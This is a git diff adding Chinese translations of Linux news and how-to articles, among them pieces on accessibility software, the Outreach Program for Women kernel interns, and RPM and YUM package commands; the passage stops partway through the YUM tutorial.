+我们见证了Linux软件和发行版本在使每个人融入社会方面做的突出贡献。举个例子来说,GNOME Accessibility Project 为图形界面用户开发了开源的可用性解决方案。Ubuntu有一个可用性团队致力于使Ubuntu能被更广范围的人使用。不得不提的是Vinux Project,一个基于Ubuntu的发行版本,针对失明和视力有障碍的用户进行了优化。 + +也有很多单独的应用软件提供了不同的可用性功能。这篇文章试图找出一些顶尖的开源软件,它们能帮助人们充分利用计算机技术,不论他们的生理和知觉功能如何。 + +让我们了解一下手边的8个通用辅助工具。我们为每个应用编写了它字节的入口页面,完整地、深入地分析了它们的功能,包含截屏和相关资源链接。 + + +### 通用辅助 ### + +- [Easystroke][1] 笔画识别软件 +- [Simon][2] 灵活的语音识别软件 +- [Orca Screen Reader][3] 可编程的屏幕阅读器 +- [Julius][4] Two-pass策略的大词汇持续语音识别引擎 +- [Florence Virtual Keyboard][5] 扩展的可伸缩虚拟键盘 +- [Caribou][6] 可配置的带有扫描模式的屏幕键盘 +- [Dasher][7] 图形化的预测文本输入系统 +- [xvkbd][8] 虚拟(图形)键盘系统 + +-------------------------------------------------------------------------------- + +via: http://www.linuxlinks.com/article/20131109042823957/UniversalAccess.html + +译者:[boredivan](https://github.com/boredivan) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://sourceforge.net/apps/trac/easystroke/ +[2]:http://simon-listens.org/ +[3]:https://wiki.gnome.org/Orca +[4]:http://julius.sourceforge.jp/ +[5]:http://florence.sourceforge.net/english.html +[6]:https://wiki.gnome.org/Caribou +[7]:http://www.inference.phy.cam.ac.uk/dasher/ +[8]:http://homepage3.nifty.com/tsato/xvkbd/ diff --git a/published/201311/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md b/published/201311/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md new file mode 100644 index 0000000000..69c179a4de --- /dev/null +++ b/published/201311/Mark Shuttleworth Regrets the “Tea Party” Remarks and Other Canonical Mistakes.md @@ -0,0 +1,33 @@ +Mark Shuttleworth为“茶派”及其他错误认错 +================================================================================ +**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。** + +![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg) + +我们并不是每天都能看到Mark Shuttleworth连续道歉两次,很有可能这是第一次。 + +[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee,他写了一篇广泛传播的关于这些问题的博客,并且在许多论坛和网站引起了热议。 + +Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。 + +这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。 + +“另一方面,从个人角度看,我自己犯了一个错误,当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的,并且的确可能冒犯了真的茶派(注意这里!)以及那些非技术批评家(再看这儿!)。” + +“这并不是说我建议我不需要这样技术反馈,而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价,并不是软件本身的中心,而是开发软件的人需求的综合,或者是某个自由软件协议下发布,或者是公司的策略、或者是公司后面的国家”,Mark Shuttleworth[说道][3]。 + + +希望结束在这个事件上的所有的讨论,人们最终将能够接受引发了这次讨论的Mir。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml + +译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml +[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml +[3]:http://www.markshuttleworth.com/archives/1299 +[4]:http://linux.cn/article-2283-1.html \ No newline at end of file diff --git a/published/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md b/published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md similarity index 100% rename from published/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md rename to published/201311/Metal Backup and Recovery Is Now Possible with Debian-Based Clonezilla Live 2.2.0-13.md diff --git a/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md b/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md new file mode 100644 index 0000000000..80b8cea7a7 --- /dev/null +++ b/published/201311/Mikko Hypponen--Open Source Software Will Make the World More Secure.md @@ -0,0 +1,35 @@ +米科·哈普宁:开源软件将使世界更安全 +================================================================================ +安全专家米科·哈普宁(Mikko Hypponen)于上周在爱丁堡举行的[LinuxCon and CloudOpen Europe][1]会议上的主题演讲中说:“开源软件可以作为一个方法来打击全球监视无辜居民的行为。” + +![](http://www.linux.com/images/stories/41373/Mikko-Hypponen-3.jpg) + +*米科·哈普宁,芬兰F-Secure的首席研究员,在爱丁堡举行的LinuxCon and CloudOpen Europe 2013会议上讲话。* + +计算和全球网络增加的进步使得存储和传输数据变得便宜且简单。哈普宁说这创造了无比的连通性、进步和创新,但是同样使得大规模的数据被访问到就像NSA的棱镜项目揭示的那样,这事件随着前美国政府员工爱德华·斯诺登(Edward Snowden)泄漏的一系列顶级机密文件而公开。 + +哈普宁,芬兰F-Secure的首席研究员说:“前几年我们已经意识到数据是廉价的。我们永远不必再删除任何数据。这促成了很多伟大的事情,但同样也引发了大规模地毯式的监视。” + +哈普宁说:“这些监视会访问我们的个人数据,包括电话记录、地理位置、电子邮件和搜索引擎请求,有些可能是被授权的。” + +他说:“我相信一些监控是好的。如果有一项研究来找出校园枪击者或者毒枭或者恐怖组织成员等等,我们应该已经有技术手段这么做,但是我们首先必须持有怀疑。” + +哈普宁说:“但是收集通信和每个人的个人数据不仅是对隐私的侵犯,还是对民主的威胁。” + +他说:“即使你如今对政府的行为认可,但是我们不知道政府会在今后的20年怎么样。如果他们有你20年的搜索数据,他们会找出一些非法的或者令人尴尬的理由来扭曲你的手。” + +哈普宁说:“虽然泄漏事件使得一些IT专家质疑他们的数据存储的安全性和经由美国服务商的的路由,但绕开这些公司和服务不能解决问题。同样不能每个国家都花费和金钱来建造他们自己的替代品。” + +哈普宁说:“要跨越国际边际地工作,开发者应该团结起来建造一个安全和可靠的软件和服务来防止后门篡改和用户隐私。” + +他说:“我建议开源软件对这个问题提供一个解决方案。那么国家就不必独自做这件事。这将会变得安全、开放和免费。” + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/745585-mikko-hypponen-open-source-software-will-make-the-world-more-secure + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://events.linuxfoundation.org/events/linuxcon-europe \ No newline at end of file diff --git a/published/On Security Backdoors.md b/published/201311/On Security Backdoors.md similarity index 100% rename from published/On Security Backdoors.md rename to published/201311/On Security Backdoors.md diff --git a/published/201311/Options in Linux RPM Command to Query Packages.md b/published/201311/Options in Linux RPM Command to Query Packages.md new file mode 100644 index 0000000000..df428a8b94 --- /dev/null +++ b/published/201311/Options in Linux RPM Command to Query Packages.md @@ -0,0 +1,106 @@ +Linux 下用来查询安装包信息的RPM选项 +================================================================================ + +RPM是RedHat的包管理器,用来安装、卸载、升级和查询基于RedHat Linux的安装包。RHEL和基于它的系统使用rpm命令来完成这些功能。以下是一些例子来演示rpm的查询功能,和展示了用不同的方法来查询rpm数据库和还原配置文件。 + +我在示例命令中使用SSH包来做说明。 + +## 查询RPM数据库和包 ### + +###1、 在整个RPM数据库中查询,使用下面的命令 + + # rpm -qa + plymouth-0.8.3-27.el6.x86_64 + pciutils-libs-3.1.10-2.el6.i686 + netcf-libs-0.1.9-3.el6.x86_64 + .. + ... + .. + Output Truncated + +###2、 你可以通过grep命令来确定上面的例子中有哪些SSH包已经安装 + + # rpm -qa |grep ssh + libssh2-1.4.2-1.el6.x86_64 + openssh-askpass-5.3p1-84.1.el6.x86_64 + libssh2-1.4.2-1.el6.i686 + openssh-server-5.3p1-84.1.el6.x86_64 + openssh-clients-5.3p1-84.1.el6.x86_64 + openssh-5.3p1-84.1.el6.x86_64 + +输出显示了一些关于SSH的包,但是你仍需确定哪个包真正安装了SSH。为了更近一步,请看下面的示例。 + +###3、 检查已安装的SSH包 a) 通过sshd守护进程 b) 通过它的配置文件 + + # rpm -qf /etc/init.d/sshd + openssh-server-5.3p1-84.1.el6.x86_64 + # rpm -qf /etc/ssh/sshd_config + openssh-server-5.3p1-84.1.el6.x86_64 + +如你所见,ssh是通过openssh-server-5.3p1-84.1.el6.x86_64包安装的,你可以在守护进程或者配置文件中使用rpm -qf命令(查询ssh包所包含的任一文件来查询)。两者都会输出从那个软件包安装的。 + +###4、 现在你有了包名,你可能想要了解更多,并想要知道包中包含了哪些不同的文件。这种情况下,使用rpm -ql命令 + + # rpm -ql openssh-server-5.3p1-84.1.el6.x86_64 + /etc/pam.d/ssh-keycat + /etc/pam.d/sshd + /etc/rc.d/init.d/sshd + /etc/ssh/sshd_config + /etc/sysconfig/sshd + /usr/libexec/openssh/sftp-server + /usr/libexec/openssh/ssh-keycat + /usr/sbin/.sshd.hmac + /usr/sbin/sshd + /usr/share/doc/openssh-server-5.3p1 + /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat + /usr/share/man/man5/moduli.5.gz + /usr/share/man/man5/sshd_config.5.gz + /usr/share/man/man8/sftp-server.8.gz + /usr/share/man/man8/sshd.8.gz + /var/empty/sshd + +上面的输出显示了所有该包在系统中安装的文件。现在让我们更进一步,我们只想要看到该包提供的配置文件和文档。 + +###5、 只列出其中的配置文件,使用rpm -qc命令 + + # rpm -qc openssh-server-5.3p1-84.1.el6.x86_64 + /etc/pam.d/ssh-keycat + /etc/pam.d/sshd + /etc/ssh/sshd_config + /etc/sysconfig/sshd + +###6、 只列出其中的帮助文档,使用rpm -qd命令 + + # rpm -qd openssh-server-5.3p1-84.1.el6.x86_64 + /usr/share/doc/openssh-server-5.3p1/HOWTO.ssh-keycat + /usr/share/man/man5/moduli.5.gz + /usr/share/man/man5/sshd_config.5.gz + /usr/share/man/man8/sftp-server.8.gz + /usr/share/man/man8/sshd.8.gz + +考虑一种情况,你想要配置一个服务,但是你不知道哪里找到配置文件。举例来说,如上面的例子:使用**rpm -qf rpm -qf /etc/init.d/sshd**来找出 **/etc/ssh/sshd_config**这个文件源于哪个包。这应该会给你显示**openssh-server-5.3p1-84.1.el6.x86_64**包。使用**rpm -ql openssh-server-5.3p1-84.1.el6.x86_64**来显示包中所含的所有文件。如你所见,许多文件名显示了出来,但是输出并不很有用。 + +现在使用**rpm -qc openssh-server-5.3p1-84.1.el6.x86_64** 来只显示这个包的配置文件。这只会显示4个文件并给出了[/etc/ssh/sshd_config file][1]的绝对路径,可以用来开始配置服务。 + +###7、 从PRM包还原配置文件,而不重新安装包。 + +如果由于一些原因文件损坏或者从系统中删除了,你可以以**rpm -qf**开头来找出文件存在于哪个包。接下来使用**rpm2cpio | cpio -idmv**来从包中解压出文件。用ssh的例子。 + +假设**/etc/ssh/sshd_config**文件已经删除并且你不希望重装ssh,按以下步骤来还原文件。 + + * 使用rpm -qf /etc/init.d/sshd 这个命令会显示文件来自于openssh-server-5.3p1-84.1.el6.x86_64包。 + * 从它的源中下载Openssh的rpm包。 + * 复制openssh-server-5.3p1-84.1.el6.x86_64包到/tmp目录或者其他任何你选择的目录。 + * 使用rpm2cpio |cpio -idmv解压包。 + +上面步骤中你使用的命令会在/tmp下面创建一个子目录。你现在可以复制到它的原始目录。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/rpm-command-query/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linoxide.com/how-tos/disable-ssh-direct-login/ diff --git a/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md b/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md new file mode 100644 index 0000000000..036f3db0d2 --- /dev/null +++ b/published/201311/Outreach Program for Women Seeks New Linux Kernel Interns.md @@ -0,0 +1,106 @@ +Linux编程女神计划招募新的内核级MM实习生 +===== + +作为[FOSS的Linux编程女神计划(Outreach Program for Women)][1]的一部分,这个夏季在Linux基金会工作的实习生们背景不同,水平也高低不等,但是她们至少有一件事情是相同的(除去性别之外),就是她们可以在自己的履历中添加一项“Linux内核黑客”。(译注:Outreach Program for Women,OPW此处译作“Linux编程女神计划”带有调侃意味,Just joke,没有恶意。) + +![](http://www.linux.com/images/stories/41373/OPW-kernel-contributions-9.jpg) + +*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源:LWN.net* + +在Linux基金会资助的第一批每人5000美元酬金的申请人中,Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月,处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金,出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。 + +“我要说能有我这样的机会并不多哦,在LinuxCon北美会议上做志愿者,在LinuxCon北美会议上发表演讲,而且与Linux Torvalds交流了三天!”Nguyen说,她是一个Linux内核实习生,与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。 + +除了学习如何创建和提交内核补丁,这些实习生们通过结交新朋友和同事,克服了她们的恐惧心理,为Linux内核的发展作出了显著的贡献。 + +“我不再害怕碰内核代码了”Izer这样说道,她和来自Intel的Peter P. Waskiewicz Jr.一起工作,解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献,我以此为自豪。我将接着做下去”。 + +###内核贡献着排行榜 + +据[LWN 8月内核报告][2],作为一个组织,OPW被列为对Linux3.11内核的主要贡献者之一,提交了230个变更,总体位于第13位。其中,实习生Xenia Ragiadakou给3.11内核贡献了100个补丁,在最活跃的开发者中位列前10! + +“我的主要工作就是添加追踪事件,然后写trace-cmd插件,以便于人们阅读的格式分析这些痕迹,以方便xhci(驱动)找出问题。” ”Ragiadakou说,她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git,如何使用静态代码分析工具,以及如何发送补丁,如何查看debug日志,usb子系统是如何组成的,xhci驱动又是如何实现的。” + +据[LWN 10月分析报告][3],在内核3.12上,OPW再次排在了贡献最大的团队或公司之中,这次是排行第11行,有19,649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。 + +在她们的实习计划在9月份结束时,她们中的大多数仍然持续做该项目并打算继续做下去。 + +“我认为成为一个内核开发者是一件非常酷的事情,将来,我也要继续做这件事情,”Vasilescu说,她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。 + +“我甚至需要学习如何才能停下来。有时候,好吧,是常常,我无法停下来,”Ufimtseva说,她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作,以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力,最终我贡献的补丁被提交到了高质量代码库里,这真的是很鼓舞人心哇!” + +下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识,对Linux/Unix操作系统有一定的经验,了解Git更好,不过不是硬性要求。想了解有关项目以及如何申请的更详细信息,可浏览[ Kernel Newbies上的OPW 页面][4]。 + +###Lisa Nguyen + +![](http://www.linux.com/images/stories/41373/lisa-nguyen-kernel-intern-2.jpg) + +**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题** + +在我成为OPW实习生之前,我已经获得了多个大学学位,如计算机科学,数字分析和信息安全等。我在过去的两年中持续地使用Linux,我还在Linux社区中充当多种角色,例如项目管理着,man页的作者,LinuxCon会议的协调着以及内核贡献着。 + +**你为什么申请同OPW一起为Linux内核工作** + +我想要一个挑战,想要跳离自己的小窝。我要给自己一个软件开发的机会,因为过去我一直面临自信心问题。一天,我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个再合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?” + +###Elena Ufimtseva + +![](http://www.linux.com/images/stories/41373/elena-ufimtseva-kernel-intern.jpg) + +**Elena Ufimtseva与来自Citrix的Stefano Stabellini, Dario Fargiolli, George Dunlap的一起去解决xen虚拟机中的并行虚拟客户端的vNUMAde的拓扑问题** + +我作为一名Linux系统管理员已经有想当长的一段时间了,而且成为了许多项目的一分子。我从俄罗斯联邦的St.-Petersburg大学获得了我的计算机科学硕士学位。 + +**你为什么申请同OPW一起为Linux内核工作** + +我觉得我想在底层开发软件,例如系统软件,而不是用java。我有一种感觉,我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻,我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇,这好好玩哇!” + +### Laura Vasilescu ### + +![](http://www.linux.com/images/stories/41373/laura-vasilescu-kernel-intern-2.jpg) + +**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。** + +我认为自己就是一个极客,我对改善教育系统(尤其是罗马尼亚的)有着非常浓厚的兴趣。作为一名学生,我志愿做我所在大学的教师助理,还是罗马尼亚开源教育协会的成员。我的技术专长是网络,操作系统和底层编程语言。 + +**你为什么申请同OPW一起为Linux内核工作** + +我觉得成为一名内核贡献着是一件非常酷的事情,我要做一下这样的事情。 + +### Tulin Izer ### + +![](http://www.linux.com/images/stories/41373/Tulin-Izer-kernel-intern-2.jpg) + +**Tulin Izer和来自Intel的Peter Waskiewicz一起去解决x86系统的启动进成并行化问题。** + +我来自于土耳其。我是一名来自于伊斯坦布尔的Galatasaray大学的计算机工程专业的学生。今年我大四。 + +**为什么你申请同OPW一起为Linux内核工作** + +我对操作系统以及使用C语言进行编程非常感兴趣,但是我对内核开发没有任何经验,但是我觉的这是一个起步的好地方。 + +### Xenia Ragiadakou ### + +目前,我在克利特大学学习计算机科学。过去,我已经修完了几门课程,如经济学,东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以,我决定进入计算机科学学院学习。现在,我的内心重新回复平静:我觉得编程是一件更加适合我的事情。这就像玩游戏一样,我非常喜欢编程的乐趣。 + +**为什么你申请同OPW一起为Linux内核工作** + +想加入开源项目的想法已经在我的脑海中存在很久了,但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1)OPW针对女性这一目标是我感到更加舒坦。2)有Linux核心方面的项目。3)被引入Linux内核的开发过程非常平顺,会在应用开发的早期加入进去。 + +作者:[Libby Clark][5] + +![img](http://www.linux.com/component/ninjaboard/avatar/41373/catid/200-libby-clark/thumbnail/large/cache/1331753338) + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/746687-outreach-program-for-women-seeks-new-linux-kernel-interns/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasmiepeng](https://github.com/jasminepeng),[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://wiki.gnome.org/OutreachProgramForWomen +[2]:http://lwn.net/Articles/563977/ +[3]:http://lwn.net/Articles/570483/ +[4]:http://kernelnewbies.org/OPWIntro +[5]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark \ No newline at end of file diff --git a/sources/Linux Commands/Package Management Using YUM In Red Hat Linux.md b/published/201311/Package Management Using YUM In Red Hat Linux.md similarity index 59% rename from sources/Linux Commands/Package Management Using YUM In Red Hat Linux.md rename to published/201311/Package Management Using YUM In Red Hat Linux.md index 05057962cc..f887f385e5 100644 --- a/sources/Linux Commands/Package Management Using YUM In Red Hat Linux.md +++ b/published/201311/Package Management Using YUM In Red Hat Linux.md @@ -1,18 +1,17 @@ -Package Management Using YUM In Red Hat Linux -================================================================================ +在红帽Linux中使用YUM包管理器 +=== ![](http://linoxide.com/wp-content/uploads/2013/11/yum-package-install.png) -**Yum** is a utility provided in RHEL based systems to install,remove and search packages. It can do lot more than just installing and removing and that’s what I will demonstrate in this article. +**YUM**是RHEL系统中提供的一个安装,卸载和搜索软件包的工具。它能做的不仅仅是安装、卸载软件包,它能做的还有更多,下面我们将在本文中为你展示。 -Yum installs the package dependencies automatically, for example yum install httpd will install https apache server and it’s required dependencies automatically. Something that is not that easy while installing through rpm. with rpm you have to download all the required dependencies and then install accordingly. +YUM可以自动安装软件包的依赖包,例如当你使用yum安装httpd时,它还会自动安装https apache server以及它依赖的软件包。通过rpm软件包安装时就没有这么方便咯(译注:就是不会自动处理软件包依赖问题咯!),你必须下载所有它依赖的软件包,然后依序安装它们。 -The yum utility fetches the package information from a hosted repository (usually by the OS vendor). A repository is basically a collection of rpm’s that are supposed to work on a particular architecture. For example there would be a separate repository for 32 and 64 bit systems, and same goes with RHEL Version 5 and Version 6. You can host your local repository and configure yum to search,install packages from the local repository. In the following examples I will show you some other stuff we can do with yum rather than install and remove but for the sake of understanding I will use httpd package for exempts on my Amazon EC2 RHEL 6.4 server. +yum工具从远端服务器上的软件仓库(通常由OS提供商提供)获取软件包的信息。一个软件仓库是能在特定架构上运行的一系列rpm软件包的集合。例如,对于32位和64位系统各有一个软件仓库,还有针对RHEL5以及RHEL6的软件仓库。你也可以建立一个本地仓库,配置你的yum让其从你的本地仓库里搜索安装软件包。在接下来的例子中,我将向你展示除了安装和卸载软件,yum还可以做的其它事情。为方便理解,我将在我的Amazon EC2 RHEL 6.4服务器上使用httpd软件包为例。 -### Search package from repository ### +###从软件仓库里搜索软件包 + # yum search httpd - # yum search httpd - - Loaded plugins: amazon-id, rhui-lb, security + Loaded plugins: amazon-id, rhui-lb, security =============================================== N/S Matched: httpd ========== httpd.x86_64 : Apache HTTP Server httpd-devel.i686 : Development interfaces for the Apache HTTP server @@ -22,43 +21,43 @@ The yum utility fetches the package information from a hosted repository (usuall mod_dav_svn.x86_64 : Apache httpd module for Subversion server mod_dnssd.x86_64 : An Apache HTTPD module which adds Zeroconf support -For a more detailed output use the below command: +想获得详细的输出信息,可以使用下面的命令: + + # yum provides httpd - # yum provides httpd - - Loaded plugins: amazon-id, rhui-lb, security + Loaded plugins: amazon-id, rhui-lb, security httpd-2.2.15-26.el6.x86_64 : Apache HTTP Server Repo : rhui-REGION-rhel-server-releases Matched from: -**yum provides */httpd** Searches in yum packages to find the package that contains a httpd. - -### Provide a list of all Package Groups. ### +**yum provides httpd**在软件仓库里搜索含有httpd的软件包。 - # yum grouplist +###提供所有软件组列表 -The above command will show you the installed and available package group. You can install an individual package group with group install option. For example we will install package group PHP Support. This package group contains the required php packages. + # yum grouplist - # yum groupinstall PHP Support +以上命令将为你显示已经安装的以及可用的软件组。你可以使用软件组安装选项来安装其中一个软件组。例如,我们将安装一个PHP Support的软件组。这个软件组内包含需要的PHP软件包。 + + # yum groupinstall PHP Support Loaded plugins: amazon-id, downloadonly, rhui-lb, security Setting up Group Process Warning: Group Support does not exist. Resolving Dependencies - –> Running transaction check - —> Package php.x86_64 0:5.3.3-23.el6_4 will be installed - –> Processing Dependency: php-common(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 - –> Processing Dependency: php-cli(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 - —> Package php-gd.x86_64 0:5.3.3-23.el6_4 will be installed - –> Processing Dependency: libXpm.so.4()(64bit) for package: php-gd-5.3.3-23.el6_4.x86_64 - —> Package php-pdo.x86_64 0:5.3.3-23.el6_4 will be installed - —> Package php-pear.noarch 1:1.9.4-4.el6 will be installed - —> Package php-xml.x86_64 0:5.3.3-23.el6_4 will be installed - –> Running transaction check - —> Package libXpm.x86_64 0:3.5.10-2.el6 will be installed - —> Package php-cli.x86_64 0:5.3.3-23.el6_4 will be installed - —> Package php-common.x86_64 0:5.3.3-23.el6_4 will be installed - –> Finished Dependency Resolution + -> Running transaction check + --> Package php.x86_64 0:5.3.3-23.el6_4 will be installed + -> Processing Dependency: php-common(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 + -> Processing Dependency: php-cli(x86-64) = 5.3.3-23.el6_4 for package: php-5.3.3-23.el6_4.x86_64 + --> Package php-gd.x86_64 0:5.3.3-23.el6_4 will be installed + -> Processing Dependency: libXpm.so.4()(64bit) for package: php-gd-5.3.3-23.el6_4.x86_64 + --> Package php-pdo.x86_64 0:5.3.3-23.el6_4 will be installed + --> Package php-pear.noarch 1:1.9.4-4.el6 will be installed + --> Package php-xml.x86_64 0:5.3.3-23.el6_4 will be installed + -> Running transaction check + --> Package libXpm.x86_64 0:3.5.10-2.el6 will be installed + --> Package php-cli.x86_64 0:5.3.3-23.el6_4 will be installed + --> Package php-common.x86_64 0:5.3.3-23.el6_4 will be installed + -> Finished Dependency Resolution Dependencies Resolved @@ -93,7 +92,7 @@ The above command will show you the installed and available package group. You c (6/8): php-pdo-5.3.3-23.el6_4.x86_64.rpm | 75 kB 00:00 (7/8): php-pear-1.9.4-4.el6.noarch.rpm | 393 kB 00:00 (8/8): php-xml-5.3.3-23.el6_4.x86_64.rpm | 103 kB 00:00 - ———————————————————————- + ----------------------------------------------- Total 2.9 MB/s | 4.5 MB 00:01 Running rpm_check_debug Running Transaction Test @@ -125,27 +124,27 @@ The above command will show you the installed and available package group. You c Complete! -### Install package using YUM ### +###使用YUM安装软件包 -A package can be installed using yum install command as below: +可以使用**yum install**命令安装软件包,如下所示: # yum install httpd Loaded plugins: amazon-id, rhui-lb, security Setting up Install Process Resolving Dependencies - –> Running transaction check - —> Package httpd.x86_64 0:2.2.15-29.el6_4 will be installed - –> Processing Dependency: httpd-tools = 2.2.15-29.el6_4 for package: httpd-2.2.15-29.el6_4.x86_64 - –> Processing Dependency: apr-util-ldap for package: httpd-2.2.15-29.el6_4.x86_64 - –> Processing Dependency: libaprutil-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 - –> Processing Dependency: libapr-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 - –> Running transaction check - —> Package apr.x86_64 0:1.3.9-5.el6_2 will be installed - —> Package apr-util.x86_64 0:1.3.9-3.el6_0.1 will be installed - —> Package apr-util-ldap.x86_64 0:1.3.9-3.el6_0.1 will be installed - —> Package httpd-tools.x86_64 0:2.2.15-29.el6_4 will be installed - –> Finished Dependency Resolution + -> Running transaction check + --> Package httpd.x86_64 0:2.2.15-29.el6_4 will be installed + -> Processing Dependency: httpd-tools = 2.2.15-29.el6_4 for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: apr-util-ldap for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: libaprutil-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 + -> Processing Dependency: libapr-1.so.0()(64bit) for package: httpd-2.2.15-29.el6_4.x86_64 + -> Running transaction check + --> Package apr.x86_64 0:1.3.9-5.el6_2 will be installed + --> Package apr-util.x86_64 0:1.3.9-3.el6_0.1 will be installed + --> Package apr-util-ldap.x86_64 0:1.3.9-3.el6_0.1 will be installed + --> Package httpd-tools.x86_64 0:2.2.15-29.el6_4 will be installed + -> Finished Dependency Resolution Dependencies Resolved @@ -168,36 +167,36 @@ A package can be installed using yum install command as below: Installed size: 3.6 M Is this ok [y/N]: y -As you can see yum added additional packages with httpd installation. This is called the dependency resolution done by yum. +如你所见,在安装httpd时yum安装了额外的软件包。这称为yum完成的依赖包解析。 -If you want yum not to prompt for the [y/N] option. Use **yum install -y httpd** +假如你不想让yum弹出[y/N]选项,可以使用**yum install -y httpd** -**Update an existing package using yum update command.** +####使用yum update 命令更新一个已存在的软件包 # yum update httpd Loaded plugins: amazon-id, rhui-lb, security Setting up Update Process No Packages marked for Update -That means the httpd package is the latest version in the yum’s repository. +这意味着你系统中安装的httpd软件包已经是yum软件仓库里的最新版本的了。 -**Update all packages on the server.** +####更新服务器上所有的软件包 - # yum update + # yum update -the above command will update all the packages including kernel package to the latest version that means your OS will be updated to the latest provided by RHEL. +以上命令将系统上的所有软件包更新到最新版本,包括内核软件包,这意味着你的OS更新到了RHEL提供的最新版本了。 -### Download RPM without installing ### +###下载RPM软件包但是不安装 -Use yum to download RPM package from RHN or CentOS repository without installing it. You have to install a plugin for yum first to have yum download the rpm only. The utility name is yum-downloadonly and can be installed through yum as below: +可以使用yum从RHEL或者CentOS的软件仓库里下载RPM软件包但是不安装。你首先需要下载一个插件让yum只下载rpm软件包而不安装。插件名字叫downloadonly,可以通过yum安装,如下所示: # yum install yum-downloadonly Loaded plugins: amazon-id, rhui-lb, security Setting up Install Process Resolving Dependencies - –> Running transaction check - —> Package yum-plugin-downloadonly.noarch 0:1.1.30-14.el6 will be installed - –> Finished Dependency Resolution + -> Running transaction check + --> Package 